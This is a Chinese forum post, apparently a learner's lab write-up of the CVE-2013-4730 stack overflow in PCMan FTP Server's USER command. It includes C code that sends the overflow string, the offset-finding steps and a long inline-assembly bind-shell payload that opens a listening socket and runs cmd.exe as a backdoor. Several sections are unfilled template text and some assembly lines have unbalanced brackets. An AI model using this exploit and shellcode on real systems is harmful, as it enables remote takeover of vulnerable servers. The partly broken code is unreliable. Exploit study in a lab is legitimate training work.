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[原创]初学之-CVE-2013-4730
发表于: 2023-5-5 13:59 9359

[原创]初学之-CVE-2013-4730

2023-5-5 13:59
9359

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:
  • 漏洞编号:(CVE-2013-4730)
  • 漏洞类型:(远程溢出)
  • 漏洞影响:(远程代码执行)
  • CVSS评分:(7)
  • 利用难度:Medium
  • 基础权限:不需要(是否需要普通用户权限)

2. 组件概述

FTP Server 服务器是一种专供其他电脑检索文件和存储的特殊电脑。文件服务器通常比一般的个人电脑拥有更大的存储容量,并具有一些其他的功能,如磁盘镜像、多个网络接口卡、热备援多电源供应器。到后来,文件服务器逐渐进化成带有RAID(Redundant Array of Independent Disk)存储子系统和其他高可用特性的高性能系统。
该应用:
這是由國內知名BBS連線軟體PCMan作者個人製作的免費簡易FTP架站軟體,專門針對初學者設計,特色是讓不熟電腦的人也能夠輕易架設FTP站。快速輕巧,操作簡單的簡易全 ...,教你幾分鐘內學會架簡易個人FTP站,和好友分享檔案.使用PCMan'sFTPServer輕鬆快速架設FTP站(作者:國立陽明大學醫學系洪任諭) ...,首先下載要用來架設FTP站的軟體,這裡我推薦我設計的軟體PCMan'sFTPServer(按這裡下載),這是專門針對初學者設計的全中文免費...

3. 漏洞利用

与FTP服务器发生交互,发送登录请求,即可引发栈溢出漏洞,导致攻击者可以远程执行任何命令。

4. 漏洞影响

PCMan FTP Server 2.0.7版本;
WindowsXP x86

5. 解决方案

官方的安全更新方案,给出链接。

二、漏洞复现

1. 环境搭建

  • 靶机环境版本详述
    • WIn7_SP1_X86操作系统,windbg、mona2
  • 靶机配置

  • 攻击机环境版本详述

    • win10x64、vs2015、x64dbg
  • 攻击机配置

2. 复现过程

分1,2,3步骤详述漏洞的复现过程。

三、漏洞分析

1. 基本信息

  • 漏洞文件:存在漏洞的具体文件名
  • 漏洞函数:存在漏洞的具体函数名
  • 漏洞对象:触发漏洞的结构或其他数据对象

2. 背景知识

该部分内容主要简介漏洞分析过程中所使用到的相关知识,丰富程度由个人决定。

3. 详细分析

1. 基础分析

文件信息
image.png
首先通过前置信息得到,该应用在接受FTP user登陆命令时产生问题,我们需要在攻击机中编写程序发送请求。

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WSADATA stWSA;
WSAStartup(0x2020, &stWSA);
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
SOCKADDR_IN stService;
stService.sin_addr.S_un.S_addr = inet_addr("192.168.17.174");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
char szRecv[0x100] = { 0 };
char * pCommand = "USER anonymous";
recv(stListen, szRecv, sizeof(szRecv), 0);
send(stListen, cExpolit2, strlen(cExpolit2), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
closesocket(stListen);
WSACleanup();

得到回应。
image.png
加大登录字符串数量,使用mona生成3000个fuzz字符串cexploit1,
image.png
断点以后,通过!py mona po 溢出点,计算溢出偏移。
image.png
构造字串验证溢出点可靠性。
image.png
image.png
image.png
查看堆栈,确认已经被溢出,尝试在此之前进行下断点。查看函数调用栈。
ba w4 0012ed64 ".if(poi(0012ed64 )==0x90909090){}.else{gc}" 问题:该条件断点失效;
下断点 ba w4 0012ed64单步找到;
image.png
查看调用栈kb;00417428 ;00412ced ;00403eeb ;
找到附近函数。

2. 静态分析

1. 函数调用链

image.png

2. 补丁Diff

...

3. 漏洞函数分析

在上一环节我们找到附近函数0x4173af;将其置于ida中进行分析。重点分析,
首先找到0x4173af;
image.png
明显这是一个写入char操作,不会出现问题;
image.png
在调用sprintf函数,这个函数存在风险,再上一步;
image.png
清除看到使用sprintf格式化输出,给定了buff[2048],但是并没有判定v5,a2,长度,
猜测 v5为 user a2为携带进来的字符串,并且该长度与我们的溢出点 2009极为接近。

3. 动态分析

再函数附近下断点,
image.png
a2为第八个参数,所以找到0032dec0 ;可以看到,
image.png
这一切和刚才都相对应。那么下一次中断就为覆盖栈操作,
image.png
image.png
那么该点可以进行利用

4. 利用思路

这是一个典型的栈溢出漏洞,采取跳板指令跳转到payload,执行行为,本次尝试利用该漏洞开启后门。

1. 利用条件

虚拟机需要关闭dep,数据执行保护选项;使得栈中数据可执行。image.png

2. 利用过程

首先获取跳板指令;
image.pngimage.png
编写payload

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__asm
{
    SUB ESP, 0x20     
    push ebp
    mov ebp, esp
    sub esp, 0x10
    JMP tag_Shellcode 
 
    _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
    _asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
    // [tag_Next-0x1D] "ws2_32.dll\0"
    _asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
    _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
    _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
    // [tag_Next-0x12] "kernel32.dll\0"
    _asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
    _asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
    _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
    _asm _emit(0x00)
    tag_Shellcode:
                 // 1. GetPC
                 CALL tag_Next
                     tag_Next :
                     pop ebx                   
                     mov[ebp - 0x04], ebx         
 
                     mov esi, dword ptr fs : [0x30]
                     mov esi, [esi + 0x0C]        
                     mov esi, [esi + 0x1C]        
                     mov esi, [esi]            
                     mov edx, [esi + 0x08]     
 
                     push edx                  
                     push 0xC0D83287           
                     call fun_GetFunAddrByHash 
                     mov edi, eax              
 
                     lea esi, [ebx - 0x12]     
                     push 0                    
                     push 0                    
                     push esi                  
                     call edi                  
                     mov[ebp - 0x08], eax         
 
                     lea esi, [ebx - 0x1D]        
                     push 0                  
                     push 0                  
                     push esi                
                     call edi                
                     mov[ebp - 0x0C], eax    
 
                     push[ebp - 0x0C]        
                     push[ebp - 0x08]        
                     push[ebp - 0x04]        
                     call fun_Payload
 
                     push[ebp - 0x08]        
                     push 0x4FD18963         
                     call fun_GetFunAddrByHash
                     push 0                  
                     call eax                
                     mov esp, ebp
                     pop ebp
 
 
                     fun_GetFunAddrByHash : // (int nHashDigest, int ImageBase)
                 push ebp
                     mov ebp, esp
                     sub esp, 0x0C
                     push edx
                     // 1. 获取EAT、ENT与EOT的地址
                     mov edx, [ebp + 0x0C
                     mov esi, [edx + 0x3C
                     lea esi, [edx + esi]  
                     mov esi, [esi + 0x78
                     lea esi, [edx + esi]  
                     mov edi, [esi + 0x1C
                     lea edi, [edx + edi]  
                     mov[ebp - 0x04], edi 
                     mov edi, [esi + 0x20
                     lea edi, [edx + edi]  
                     mov[ebp - 0x08], edi 
                     mov edi, [esi + 0x24
                     lea edi, [edx + edi]  
                     mov[ebp - 0x0C], edi 
 
                     xor ecx, ecx
                     jmp tag_FirstCmp
                     tag_CmpFunNameLoop :
                 inc ecx
                     tag_FirstCmp :
                 mov esi, [ebp - 0x08]     
                     mov esi, [esi + 4 * ecx]
                     mov edx, [ebp + 0x0C]   
                     lea esi, [edx + esi]    
                     push[ebp + 0x08]        
                     push esi               
                     call fun_Hash_CmpString
                     test eax, eax
                     jz tag_CmpFunNameLoop 
 
                     mov esi, [ebp - 0x0C]   
                     xor edi, edi
                     mov di, [esi + ecx * 2
 
                     mov edx, [ebp - 0x04]   
                     mov esi, [edx + edi * 4]
                     mov edx, [ebp + 0x0C]   
 
                     lea eax, [edx + esi]    
                     pop edx
                     mov esp, ebp
                     pop ebp
                     retn 0x08
 
 
                     fun_Hash_CmpString:
                 push ebp
                     mov ebp, esp
                     sub esp, 0x04      
                     mov dword ptr[ebp - 0x04], 0x00
                     push ebx            
                     push ecx
                     push edx
                     mov esi, [ebp + 0x08]
                     xor ecx, ecx
                     xor eax, eax
                     tag_HashLoop :
                 mov al, [esi + ecx]   
                     test al, al         
                     jz tag_HashEnd
                     mov ebx, [ebp - 0x04]
                     shl ebx, 0x19       
                     mov edx, [ebp - 0x04]
                     shr edx, 0x07       
                     or ebx, edx         
                     add ebx, eax        
                     mov[ebp - 0x04], ebx
                     inc ecx             
                     jmp tag_HashLoop
                     tag_HashEnd :
                 mov ebx, [ebp + 0x0C
                     mov edx, [ebp - 0x04]
                     xor eax, eax
                     cmp ebx, edx
                     jne tag_FunEnd
                     mov eax, 1
                     tag_FunEnd:
                 pop edx
                     pop ecx
                     pop ebx
                     mov esp, ebp
                     pop ebp
                     retn 0x08
 
 
                     fun_Payload: //  (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
                 push ebp
                     mov ebp, esp
                     sub esp, 0x300
                     // 1. 初始化Winsock服务
                     push[ebp + 0x10]          
                     push 0x80B46A3D          
                     call fun_GetFunAddrByHash
                     lea  esi, [ebp - 0x300]   
                     push esi                 
                     push 0x0202              
                     call eax                 
                     test eax, eax
                     jnz tag_PaloadEnd
                     // 2. 创建一个原始套接字
                     push[ebp + 0x10]         
                     push 0xDE78322D          
                     call fun_GetFunAddrByHash
                     push 0                   
                     push 0                   
                     push 0                   
                     push 6                   
                     push 1                   
                     push 2                   
                     call eax                 
                     mov[ebp - 0x04], eax     
 
                     push[ebp + 0x10]         
                     push 0xDDA71064          
                     call fun_GetFunAddrByHash
                     mov word ptr[ebp - 0x200], 0x02  
                     mov word ptr[ebp - 0x1FE], 0xEB05
                     mov dword ptr[ebp - 0x1FC], 0    
                     lea esi, [ebp - 0x200]
                     push 0x14             
                     push esi              
                     push[ebp - 0x04]      
                     call eax              
                     test eax, eax
                     jnz tag_PaloadEnd
 
                     push[ebp + 0x10]        
                     push 0x4BD39F0C         
                     call fun_GetFunAddrByHash
                     push 0x7FFFFFFF         
                     push[ebp - 0x04]        
                     call eax                
                     test eax, eax
                     jnz tag_PaloadEnd
                     // 5. 接受一个连接
                     push[ebp + 0x10]        
                     push 0x01971EB1         
                     call fun_GetFunAddrByHash
                     push 0                   
                     push 0                   
                     push[ebp - 0x04]         
                     call eax                 
                     mov[ebp - 0x04], eax     
 
                     push[ebp + 0x0C]         
                     push 0x6BA6BCC9          
                     call fun_GetFunAddrByHash
                     mov edx, eax             
                     lea edi, [ebp - 0x90]    
                     mov ecx, 0x11            
                     mov eax, 0x00            
                     cld                      
                     rep stosd                
                     mov dword ptr[ebp - 0x90], 0x00000044
                     mov dword ptr[ebp - 0x64], 0x00000100
                     mov word ptr[ebp - 0x60], 0x0000     
                     mov esi, [ebp - 0x04]               
                     mov dword ptr[ebp - 0x58], esi       
                     mov dword ptr[ebp - 0x54], esi       
                     mov dword ptr[ebp - 0x50], esi       
                     lea esi, [ebp - 0x90]  
                     lea edi, [ebp - 0x200
                     mov ebx, [ebp + 0x08]  
                     lea ebx, [ebx - 0x25]  
                     push edi               
                     push esi               
                     push 0                 
                     push 0                 
                     push 0                 
                     push 1                 
                     push 0                 
                     push 0                 
                     push ebx               
                     push 0                 
                     call edx               
                     tag_PaloadEnd :
                     mov esp, ebp
                     pop ebp
                     retn 0x0C
}

构建shellcode
image.png
image.png
image.png
在实际中,出现0x00;0x0a;0x0d;阻碍过程,编写简单加密器去除坏字符。
image.png
利用成功;

3. 攻击向量

...

四、缓解措施

对输入字符串进行有效验证

五、参考文献

oday2;
漏洞利用教材;


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

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